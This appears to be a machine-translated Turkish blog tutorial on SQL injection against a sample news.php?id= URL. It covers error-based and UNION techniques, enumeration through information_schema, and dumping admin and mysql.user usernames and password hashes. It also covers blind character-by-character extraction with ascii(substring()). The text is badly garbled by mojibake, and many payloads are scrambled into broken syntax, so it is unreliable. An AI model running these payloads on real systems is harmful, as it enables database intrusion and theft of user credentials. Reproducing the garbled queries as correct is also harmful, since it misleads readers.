.

SQL ve mysql **baya geniÅŸ anlatım…
Bu eğitimde i SQL enjeksiyon işleri anlatacağız ve nasıl
bazı yararlı bilgiler almak için kullanın.

Öncelikle: SQL enjeksiyonu nedir?
Ita ¢ â, ¬ â “¢ bugün bir web uygulamalarında en yaygın güvenlik açığı var.
Bu saldırgan, URL ve kazanç erişim veritabanı sorgusu çalıştırmaya olanak sağlar
bazı gizli bilgiler etcà ¢ â, ¬ A | kısa bir süre (olarak).

1.SQL Enjeksiyon (klasik veya hata tabanlı veya her ne arama)
2.Blind SQL Injection (sert parçası)

So Leta ¢ â, ¬ â “¢ bazı eylem ile baÅŸlayalım

1). Kontrol güvenlik açığı için
Leta ¢ â, ¬ â “¢ s bu gibi bazı site söylüyor

http://www.site.com/news.php?id=5

Şu anda test etmek için biz url à ¢ â, ¬ É (tırnak) sonuna eklemek, vulrnable eğer bir
ve olurdu http://www.site.com/news.php?id=5Ã ¢ â, ¬ Â ²
bu nedenle bazı hata gibi olsun
à ¢ â, ¬ â “Kendi SQL sözdizimi bir hata var; bu doÄŸru etcà ¢ â, ¬  MySQL sunucu sürümü ile uyumlu kılavuzu | à ¢ â, ¬  kontrol?
veya benzeri
demek sql enjeksiyon için vulrnable olduğunu

2). Sütun sayısını bul
Biz ORDER BY deyimi kullanmak sütun sayısını bulmak için () veritabanı nasıl sonuç sipariş söyler
öylesine nasıl kullanılır? Kadar biz bir hata Şey sadece sayısı artan.
http://www.site.com/news.php?id=5 1 tarafindan / * <à ¢ â, ¬ â € œ hata
http://www.site.com/news.php?id=5 2 tarafindan / * <à ¢ â, ¬ â € œ hata
http://www.site.com/news.php?id=5 3 tarafindan / * <à ¢ â, ¬ â € œ hata
http://www.site.com/news.php?id=5 4 tarafindan / * <à ¢ â, ¬ â € œ hata (biz à ¢ â, ¬ Ëœorder clauseà ¢ â, ¬ â "¢ veya bu Unknown column à ¢ â, ¬ Ëœ4à ¢ â, ¬  ² gibi mesaj olsun something like that)
bu o 3 sütun vardır, biz 4 bir hata var neden anlamına gelir.

3). Kontrol BİRLİĞİ fonksiyon için
Ile sendika biz bir SQL deyiminde daha fazla veri seçebilirsiniz.
so we have
http://www.site.com/news.php?id=5 UNION ALL SELECT 1,2,3 / * (zaten sütun bu sayıda bulunan 3 bölüm 2) vardır. )
eğer ekranda bazı sayılar, yani 1 veya 2 veya 3 sonra BİRLİĞİ görmek çalışır

4). Kontrol MySQL için sürüm
http://www.site.com/news.php?id=5 UNION ALL SELECT 1,2,3 / * NOT: / * çalışmıyorsa veya sonra à ¢ â, ¬ â € œ deneyin bazı hatalar elde
ita ¢ â, ¬ â "¢ sa yorum ve ita ¢ â, ¬ â" ¢ bizim sorgu için düzgün çalışması için önemli var.
ki, şimdi sürümünü kontrol etmek için ekranda numarası 2 düşünelim
biz () ve 4.1.33 gibi Someting olsun-günlük veya 5.0.45 sürümü veya benzer veya sürüm @ ile 2 numaralı değiştirin.
bu gibi görünmelidir http://www.site.com/news.php?id=5 sürüm 3 @ UNION ALL SELECT 1, / *
Eğer, ¬ Å "union + collations yasadışı karışımı bir hata à ¢ â olsun (örtük + mecburi) à ¢ â, ¬  | à ¢ â, ¬ Â?
i didnà ¢ â, ¬ â "¢ t herhangi bir kağıt Bu sorunu kapsayan görmek, bu yüzden yazmalısınız
biz () fonksiyonu dönüştürmek ne gerek
İ.E.
http://www.site.com/news.php?id=5 UNION ALL SELECT 1, (@ version @ latin1 kullanarak), 3 convert / *
veya hex ile () ve unhex ()
İ.E.
http://www.site.com/news.php?id=5 UNION ALL SELECT 1, 3 (hex (sürüm @)), @ unhex / *
ve MySQL version alacaksınız

5). Tablo ve sütun adını Başlarken
iyi eğer MySQL sürümü <5 (yani 4.1.33, 4.1.12Ã ¢ â, ¬ Â |) <Ã ¢ â, ¬ â €? sonra ben MySQL için açıklayacağız> 5 sürümü.
Biz çoğu isim tablo ve sütun tahmin etmek gerekir.
genel tablo adları şunlardır: kullanıcı / s, admin / member s / Ã ¢ â, ¬ Â s |
ortak sütun isimleri şunlardır: kullanıcı adı, kullanıcı, usr, kullanıcı_adı, parola, passwd, pass, pwd etcà ¢ â, ¬  |
i.e olurdu
http://www.site.com/news.php?id=5 admin den UNION ALL SELECT 1,2,3 / * (daha önce ve thata ¢ â, ¬ â “¢ gibi ekranda 2 numaralı görmek güzel: D)
Biz bu tablo biliyoruz yönetici existsà ¢ â, ¬  |
şimdi sütun isimleri ekleyin.
http://www.site.com/news.php?id=5 Birliği 1, kullanıcı adı, 3 yönetici den / * (eğer bir hata seçin sonra) diğer sütun isim deneyin
biz olsun kullanıcı adı ekranda, örneğin yönetici veya olacağı gösterilmiştir superadmin etcà ¢ â, ¬  |
şimdi eğer sütun şifrenizi kontrol edin için vardır
http://www.site.com/news.php?id=5 Birliği 1, parola, 3 yönetici den / * (eğer bir hata seçin sonra) diğer sütun isim deneyin
biz karma veya düz metin ekranda, nasıl veritabanı kurmak olduğu bağlıdır şifre görüldü
i.e MD5 hash, mysql, karma, sha1Ã ¢ â, ¬ Â |
şimdi sorgu güzel bakmak tamamlamalısınız
biz concat () fonksiyonunu kullanabilirsiniz için (o) dizeleri katıldı
i.e
http://www.site.com/news.php?id=5 UNION ALL SELECT 1, concat (0Ãâ € “3a, password), 3 yönetici adresinden kullanıcı adı / *
Bu i “3a 0Ãâ € koymak Not yönelik hex deÄŸeri: (böylece 0Ãâ €” 3a kolon için hex deÄŸer)
(bunun için başka bir yoludur, char (5, ascii değeri için
http://www.site.com/news.php?id=5 UNION ALL SELECT 1, concat (char (5, password), 3 yönetici adresinden kullanıcı adı / *
şimdi kullanıcı adı dislayed olsun: ekranda şifre, yani admin: admin veya admin: somehash
Bunu varsa, yönetici ya da ayrıcalıklı gibi giriş yapabilirsiniz
EÄŸer cana ¢ â, ¬ â “¢ t doÄŸru tablo adı sanırım, her zaman mysql.user (varsayılan) deneyebilirsiniz
o, bu nedenle örnek olacak kullanıcı i şifre sütunlu
http://www.site.com/news.php?id=5 UNION ALL SELECT 1, concat (user, 0Ãâ € “3a, password), 3 mysql.user den / *

6). MySQL 5
I gibi ià ¢ â, ¬ â “¢ önce m isimleri nasıl tablo ve sütun için açıklamak olacak dedi
MySQL> 5.
Bu biz information_schema ihtiyacı için. Tüm tablo ve sütunları veritabanında tutar.
Kullandığımız tablo almak tablo_ismi ve INFORMATION_SCHEMA.TABLES.
i.e
http://www.site.com/news.php?id=5 Birliği 1, tablo_ismi, 3 INFORMATION_SCHEMA.TABLES seçin / *
burada tablo_ismi INFORMATION_SCHEMA.TABLES gelen ilk tablo kurtulabilmek için bizim 2 numaralı yerini
ekranda görüntülenir. Şimdi sorgunun sonuna kadar tüm masaları dışarı listesine SINIR eklemeniz gerekir.
i.e
http://www.site.com/news.php?id=5 Birliği 1, tablo_ismi, 3 INFORMATION_SCHEMA.TABLES seçin limiti 0,1 / *
unutmayın ben 0,1 koymak () 1 sonuç 0 başlangıç olsun
Şimdi ikinci tablo görüntülemek için, biz 1,1 sınırlamak sınırı 0,1 değiştirmek
i.e
http://www.site.com/news.php?id=5 Birliği 1, tablo_ismi, 3 INFORMATION_SCHEMA.TABLES seçin limiti 1,1 / *
İkinci tabloda görüntülenir.
biz sınır koymak üçüncü tablo için 2,1
i.e
http://www.site.com/news.php?id=5 Birliği 1, tablo_ismi, 3 INFORMATION_SCHEMA.TABLES seçin limiti 2,1 / *
kadar bazı db_admin, poll_user, auth gibi yararlı olsun artan tutmak, auth_user etcà ¢ â, ¬  |
Yöntem aynı sütun isimleri almak için.
Burada kullandığımız sütun_ismi ve information_schema.columns
yöntem çok Yukarıdaki örnek olacağını aynıdır
http://www.site.com/news.php?id=5 Birliği 1, sütun_ismi, 3 information_schema.columns seçin limiti 0,1 / *
ilk sütun diplayed olduğunu.
ikincisi (biz) 1,1 sınırlamak için sınırı 0,1 değiştirmek
yani.
http://www.site.com/news.php?id=5 Birliği 1, sütun_ismi, 3 information_schema.columns seçin limiti 1,1 / *
İkinci sütun, böylece siz bir şey gibi olsun artan tutmak görüntülenir
kullanıcı adı, kullanıcı, giriş, parola, pass, etcà ¢ â, ¬  passwd |
Eğer bu sorgu kullanmak özel tablo için sütun adlarını göstermek istiyorum. (burada fıkra)
Leta ¢ â, ¬ â “¢ s ki tablo kullanıcıları bulunduÄŸunu açıkladı.
i.e
http://www.site.com/news.php?id=5 BirliÄŸi 1, sütun_ismi, 3 information_schema.columns nereden tablo_ismi = à ¢ â, ¬ â “¢ usersà ¢ â, ¬ â” ¢ / * seçin
şimdi tablo kullanıcıları sütun adı görüntülenir olsun. Sadece LIMIT kullanarak biz tablo kullanıcıları bütün sütunların listeleyebilirsiniz.
Bu wonà ¢ â, ¬ â “¢ t çalışır sihirli tırnak AÇIK unutmayın.
Leta ¢ â, ¬ â “¢ s biz colums kullanıcı, geçiÅŸ ve e-posta bulunduÄŸu bildirildi.
Şimdi sorgu hep birlikte onları koymak için tamamlamak için
ki concat kullanım için (), i daha önceden açıklamak.
i.e
http://www.site.com/news.php?id=5 UNION ALL SELECT 1, concat (user, 0Ãâ € “3a, 0Ãâ €”, e-posta) kullanıcılarının 3a pass / *
biz burada ne olsun kullanıcı: şifre: e-posta tablo kullanıcılardan.
Örneğin: admin: hash: whatever@blabla.com
Thata ¢ â, ¬ â “¢ Bu bölümdeki tüm ler, ÅŸimdi daha zor bölümünde devam edebilirsiniz

2. Blind SQL Injection
Kör enjeksiyon biraz klasik enjeksiyon daha karmaşık ama yapılabilir
Ben belirtmek zorundadır, orada xprog tarafından çok iyi kör SQL Injection Tutorial, böylece ita ¢ â, ¬ â “¢ kötü okumak için deÄŸil s
Leta ¢ â, ¬ â “¢ geliÅŸmiÅŸ malzeme ile baÅŸlayalım.
Ben örnekle olacak

http://www.site.com/news.php?id=5

Biz bu idam, biz, bazı sayfa ve o sayfadaki makalelere bakın etcà ¢ â, ¬  resimleri |
o zaman kör SQL Injection saldırısı için test etmek istiyorum
http://www.site.com/news.php?id=5 ve 1 = 1 <Ã ¢ â, ¬ â €? Bu her zaman doğrudur
ve sayfa yük normal thata ¢ â, ¬ â "¢ s ok.
Şimdi gerçek test
http://www.site.com/news.php?id=5 ve 1 = 2 <Ã ¢ â, ¬ â €? Bu yanlış
bu nedenle bazı metin, resim veya bazı içerik iade sayfasında daha sonra bu sitede kör SQL enjeksiyon için vulrnable bir eksik.

1) MySQL sürümü alın
biz substring kullanmak kör saldırı sürümü almak için
i.e

http://www.site.com/news.php?id=5 ve substring (sürüm @, 1,1) = 4

Eğer MySQL 4 sürümünü bu TRUE dönmeliyiz.

5, ve eğer sorgu geri sonra sürüm 5 TRUE 4 değiştirin.

i.e

http://www.site.com/news.php?id=5 ve substring (sürüm @, 1,1) = 5

2) Test eğer subselect çalışır
zaman dona ¢ â, ¬ â "¢ t iş o zaman subselect kullanmak seçin
i.e
http://www.site.com/news.php?id=5 ve () = 1 1 seçin
Eğer sayfa yüklendikten sonra normal çalışma subselects.
eğer biz mysql.user erişmek için var o zaman görecek
i.e
http://www.site.com/news.php?id=5 ve () = 1 1 mysql.user limit 0,1 seçin
Eğer sayfa yük normal biz daha sonra biz () fonksiyonu ve çıkan dosya bazı şifre usign load_file indirebiliriz mysql.user erişebilir.

3). Kontrol edin tablo ve sütun isimleri
Bu bölümde zaman tahmin olduğunu en iyi arkadaşım
İ.E.
http://www.site.com/news.php?id=5 ve (sınırı 0,1 kullanıcılardan) sınırı 0,1 bizim burada sorgu = 1 (1 seçin veri 1 satır gönderir, neden subselect sadece 1 sıra döner, bu çok önemlidir.)
o zaman eğer içeriği eksik normal olmayan sayfa yük, tablo kullanıcıları çıkar.
Eğer) kadar doğru bir tahmin sadece tablo adını değiştirmek YANLIŞ (bazı makale eksik olsun
Leta ¢ â, ¬ â "¢ s ki bu tablo adını kullanıcılar, şimdi ne ihtiyacımız olduğunu bulduk demek sütun adıdır.
Aynı tablo adı olarak, tahmin başlatın. I like önce sütunlar için ortak adları deneyin dedi.
i.e
http://www.site.com/news.php?id=5 ve (substring seçin (concat (1, password), 1,1) kullanıcı limiti 0,1 den) = 1
Eğer sayfa yük normalde biz o sütun adı şifre (eğer biz olsun o zaman yanlış ortak adları veya sadece tahmin deneyin) olduğunu biliyorum
burada sütun şifre ile, sonra ilk karakteri döner substring 1 birleştirme (1,1)
(lamersitesi )
4). Veritabanından veri Çekme
bu nedenle karakterler çekme olacak biz tablo kullanıcıları i sütun username parola bulundu.
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ã⠀ "3a, password) ((SELECT concat substring> 80
Bu tablo burada kullanıcıların ilk kullanıcı ilk karakteri çeker ok.
Burada ilk karakter ve uzunluğu 1 karakter döndürür substring. ascii () dönüştürür ASCII değeri içine 1 karakter
ve sonra simbol daha sonra ile karşılaştırın>.
öylesine eğer ascii char sonra 80, sayfa yük normalde daha büyük. () DOĞRU
biz dek yanlış olsun denemeye devam.
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 95
biz, DOÄžRU olsun artan tutmak
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 98
Yeniden, daha yüksek DOĞRU
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 99
YANLIÅž!
böylece kullanıcı adı ilk karakter char (99) olduÄŸunu. ) Biz char (99 biliyorum ascii çevirici kullanarak mektup à ¢ â, ¬ Ëœcà ¢ â, ¬ â “¢ olduÄŸunu.
sonra Leta ¢ â, ¬ â “¢ ikinci karakteri kontrol var.
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 2,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 99
Bu ià ¢ â, ¬ â “¢, 1,1, 2,1, ikinci karakteri almak için deÄŸiÅŸtirildi m unutmayın. (ÅŸimdi) ikinci karakter uzunluÄŸunda 1 karakter döndürür
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 99
TRUE sayfa yük normalde daha yüksek.
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 107
YANLIŞ, düşük sayısı.
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 104
Yüksek DOĞRU.
http://www.site.com/news.php?id=5 ve ascii (limit 0,1 kullanıcılardan))) 1,1 (kullanıcı adı, 0Ãâ € “3a, password) ((SELECT concat substring> 105
YANLIÅž!
biz ikinci karakteri (105) char olduÄŸunu biliyor ve bu à ¢ â, ¬ Ëœià ¢ â, ¬ â “¢ olduÄŸunu. Biz à ¢ â, ¬ Ëœcià ¢ â, ¬ â “¢ ÅŸimdiye kadar var
kadar olsun sonuna kadar artan tutun. (zaman> 0 döner biz biz sonuna ulaşmak biliyorum) yanlış.

Orada Kör SQL Enjeksiyon için bazı araçlar, i think sqlmap olan en iyi, ama ià ¢ â, ¬ â “¢ m el her ÅŸeyi yapıyor,
nedeni daha iyi ENJEKTÖR SQL yapar

Comments Yorum Yok »